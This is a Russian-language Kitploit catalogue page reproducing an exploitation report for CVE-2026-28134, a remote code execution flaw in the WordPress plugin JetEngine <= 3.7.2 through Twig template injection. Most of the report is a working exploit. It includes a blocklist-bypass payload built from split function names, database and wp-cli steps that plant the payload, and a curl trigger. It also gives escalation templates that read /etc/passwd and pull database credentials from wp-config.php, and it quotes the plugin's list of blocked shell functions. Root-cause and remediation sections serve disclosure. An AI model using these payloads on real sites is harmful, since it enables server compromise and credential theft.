Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-28134 — JetEngine <= 3.7.2 - Аутентифицированное (Contributor+) удалённое выполнение кода | Kitploit
Инструменты/GitHubGitHub/randomrobbiebf/cve-2026-28134
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийРазработка Полезной Нагрузки
GitHubrandomrobbiebf/cve-2026-28134

CVE-2026-28134

JetEngine <= 3.7.2 - Аутентифицированное (Contributor+) удалённое выполнение кода

Репозиторий
5 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-28134 Exploitation Report

JetEngine <= 3.7.2 — удалённое выполнение кода через Twig SSTI для аутентифицированных пользователей (Contributor+)

Дата: 11 марта 2026 г. Оценка CVSS: 8.8 (High) Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Затронутый плагин: JetEngine <= 3.7.2 Slug плагина: jet-engine CVE: CVE-2026-28134 Статус: Private Протестированная версия WordPress: Latest


Executive Summary

CVE-2026-28134 — это уязвимость удалённого выполнения кода в WordPress-плагине JetEngine, затрагивающая все версии до 3.7.2 включительно. Уязвимость позволяет аутентифицированным атакующим с уровнем доступа Contributor и выше выполнять произвольные команды ОС на сервере путём внедрения вредоносного Twig-шаблона в запись JetEngine Listing.

Цепочка атаки объединяет три слабости:

  1. Неаутентифицированный AJAX-диспетчер без проверки nonce и прав, который рендерит шаблоны записей Listing.
  2. Движок рендеринга Twig/Timber без песочницы — только строковый санитайзер на основе блок-списка.
  3. Обход санитайзера с помощью оператора конкатенации строк ~ в Twig для разделения заблокированных имён функций на токены.

✅ УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА — Полное RCE достигнуто

Подтверждённое воздействие:

  • Выполнение произвольных команд ОС от имени www-data
  • Полный доступ на чтение файловой системы (/etc/passwd, wp-config.php)
  • Эксфильтрация учётных данных базы данных

Vulnerability Details

Technical Summary

JetEngine предоставляет тип представления Listing на основе Twig/Timber. Когда компонент timber_views включён, записи Listing с _listing_type = twig имеют мета-поле записи _jet_engine_listing_html, которое рендерится как живой Twig-шаблон через Timber. Конвейер рендеринга доступен через неаутентифицированное AJAX-действие wp_ajax_nopriv_jet_engine_ajax; атакующему требуется лишь возможность создавать или изменять запись JetEngine Listing (минимум роль Contributor).

Affected Components


Exploit Chain

Шаг 1 — Неаутентифицированный AJAX-диспетчер

ajax-handlers.php регистрирует AJAX-действие как для аутентифицированных, так и для неаутентифицированных пользователей:

root@kitploit:~
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax',        array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );

Обработчик выполняет любой публичный метод класса на основе $_REQUEST['handler'] без проверки nonce или прав:

root@kitploit:~
// ajax-handlers.php:96-104
public function handle_ajax() {
    if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
        return;
    }
    if ( ! empty( $_REQUEST['page_settings'] ) ) {
        foreach ( $_REQUEST['page_settings'] as $key => $value ) {
            $_REQUEST[ $key ] = $value;
        }
    }
    call_user_func( array( $this, $_REQUEST['handler'] ) );
}

Вызов listing_load_more является общедоступным и запускает конвейер рендеринга Listing.

Шаг 2 — Конвейер рендеринга Twig

Цепочка вызовов listing_load_more → get_listing → frontend->get_listing_item достигает:

root@kitploit:~
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );

Когда $listing_view = 'twig', срабатывает Jet_Engine\Timber_Views\Render::get_listing_content(), который читает Twig-шаблон из мета-поля _jet_engine_listing_html записи и передаёт его напрямую в render_html():

root@kitploit:~
// timber.php:150
$template = $twig->createTemplate(
    $this->sanitize_html(
        do_shortcode( $this->sanitize_twig_content( $html ) )
    )
);
return $template->render( $context );

Twig рендерит без песочницы. Единственная защита — sanitize_twig_content().

Шаг 3 — Обход санитайзера через конкатенацию строк

sanitize_twig_content() удаляет опасные имена PHP-функций с помощью regex-шаблонов с границами слов, а затем проверяет, был ли шаблон изменён:

root@kitploit:~
// timber.php:256-262
$dangerous_funcs = [
    'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
    'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
    $input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}

Шаблон \bsystem\b соответствует литеральному токену system. Он не соответствует "sys" ~ "tem", потому что это два отдельных строковых токена в кавычках. Twig вычисляет конкатенацию во время рендеринга, создавая "system" только в памяти — исходный шаблон никогда не содержит заблокированное слово.

Обходящая полезная нагрузка:

root@kitploit:~
{{ fn("sys" ~ "tem", "id") }}

Санитайзер видит fn, "sys", ~, "tem", "id" — ни одно из этих значений не входит в блок-список. Он пропускает шаблон без изменений.

Шаг 4 — Выполнение кода через помощник fn() в Timber

Timber регистрирует обёртки вызова PHP напрямую в окружении Twig:

root@kitploit:~
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn',       array( &$this, 'exec_function' ) ) );
root@kitploit:~
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
    $args = func_get_args();
    array_shift( $args );
    if ( is_string( $function_name ) ) {
        $function_name = trim( $function_name );
    }
    return call_user_func_array( $function_name, ( $args ) );
}

{{ fn("sys" ~ "tem", "id") }} преобразуется в call_user_func_array("system", ["id"]) — выполнение произвольной команды ОС.


Proof of Concept

Предварительные требования

  1. Атакующий имеет доступ к WordPress на уровне Contributor (или выше).
  2. Включён компонент JetEngine timber_views (Настройки JetEngine > Производительность > Timber/Twig Views).
  3. Плагин Timber Library установлен и активен.

Настройка

Создайте запись JetEngine Listing со вредоносным Twig-шаблоном, хранящимся в мета-данных записи:

root@kitploit:~
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';

-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';

-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';

Или через wp-cli (от имени пользователя Contributor):

root@kitploit:~
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'

Триггер (без аутентификации)

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=jet_engine_ajax' \
  -d 'handler=listing_load_more' \
  -d 'widget_settings[lisitng_id]=<LISTING_ID>' \
  -d 'widget_settings[columns]=1' \
  -d 'query[post_type]=post' \
  -d 'query[posts_per_page]=1' \
  -d 'query[paged]=1' \
  -d 'page_settings[page_id]=1'

Результат

root@kitploit:~
{
  "success": true,
  "data": {
    "html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
  }
}

Эскалация — чтение файла

Заблокированная строка passthru разделена как "pas" ~ "sthru":

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=jet_engine_ajax' \
  -d 'handler=listing_load_more' \
  -d 'widget_settings[lisitng_id]=<LISTING_ID>' \
  -d 'widget_settings[columns]=1' \
  -d 'query[post_type]=post' \
  -d 'query[posts_per_page]=1' \
  -d 'query[paged]=1' \
  -d 'page_settings[page_id]=1'

Шаблон установлен в {{ fn("pas" ~ "sthru", "cat /etc/passwd") }}:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Эскалация — эксфильтрация учётных данных

Шаблон {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }}:

root@kitploit:~
define( 'DB_USER',     getenv_docker('WORDPRESS_DB_USER',     ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST',     getenv_docker('WORDPRESS_DB_HOST',     ...) );

Root Cause Analysis

Причина 1 — Отсутствие аутентификации в AJAX-действии

wp_ajax_nopriv_jet_engine_ajax срабатывает для неаутентифицированных запросов. Диспетчер handle_ajax() не выполняет проверку nonce и не проверяет права перед вызовом listing_load_more. Таким образом, конвейер рендеринга доступен любому неаутентифицированному пользователю, как только существует вредоносная запись Listing.

Причина 2 — Отсутствие песочницы Twig

Официальное расширение песочницы Twig (\Twig\Sandbox\SecurityPolicy) обеспечивает соблюдение белых списков на уровне движка — невозможно вызвать функции, которые явно не разрешены. JetEngine использует createTemplate() без песочницы. Единственная защита — предварительное сканирование строки, которое легко обойти.

Причина 3 — Недостаточность regex-блок-списка

Подход на основе блок-списка (/\bsystem\b/i) работает со статическим исходным текстом шаблона. Оператор конкатенации ~ в Twig создаёт строки во время выполнения. Любое заблокированное имя можно разделить: "pass" ~ "thru", "she" ~ "ll_exec", "sys" ~ "tem" и т.д. Надлежащая песочница отклонила бы вызов независимо от того, как было сконструировано имя функции.

Причина 4 — Timber раскрывает call_user_func_array

Twig-помощники fn() и function() в Timber являются безусловными мостами к PHP-функции call_user_func_array. Белого списка вызываемых функций нет. Можно вызвать любую PHP-функцию, доступную из веб-процесса.


Remediation


Timeline

ДатаСобытие
2026-03-11Уязвимость обнаружена и подтверждена с полным PoC RCE
2026-03-11Составлен отчёт

References

  • Плагин JetEngine — Crocoblock
  • Библиотека Timber/Twig для WordPress
  • Расширение песочницы Twig
  • OWASP — Инъекция шаблонов на стороне сервера
Скачать инструмент
ФайлПроблема
includes/components/listings/ajax-handlers.php:29зарегистрирован wp_ajax_nopriv_jet_engine_ajax — нет аутентификации или nonce
includes/components/listings/ajax-handlers.php:104call_user_func(array($this, $_REQUEST['handler'])) — вызов произвольного публичного метода
includes/components/timber-views/timber.php:150render_html() рендерит контролируемый атакующим Twig-шаблон без песочницы
includes/components/timber-views/timber.php:189sanitize_twig_content() — строковый regex-блок-список, обходится разделением токенов
timber-library/lib/Twig.php:42-43Timber регистрирует fn()/function() как Twig-обёртки для call_user_func_array
ИсправлениеОписание
Добавить проверку nonce и прав в handle_ajax()Требовать право edit_posts и валидный nonce для всех AJAX-диспетчеров
Включить песочницу TwigЗаменить строковый блок-список на \Twig\Sandbox\SecurityPolicy — явно разрешить безопасные функции и свойства
Ограничить помощник fn() в TimberВнести вызываемые функции в белый список или удалить fn()/function() из окружения Twig для ненадёжных шаблонов
Проверять принадлежность записи ListingПроверять, что запрашивающий пользователь имеет право edit_post на запись Listing перед рендерингом её шаблона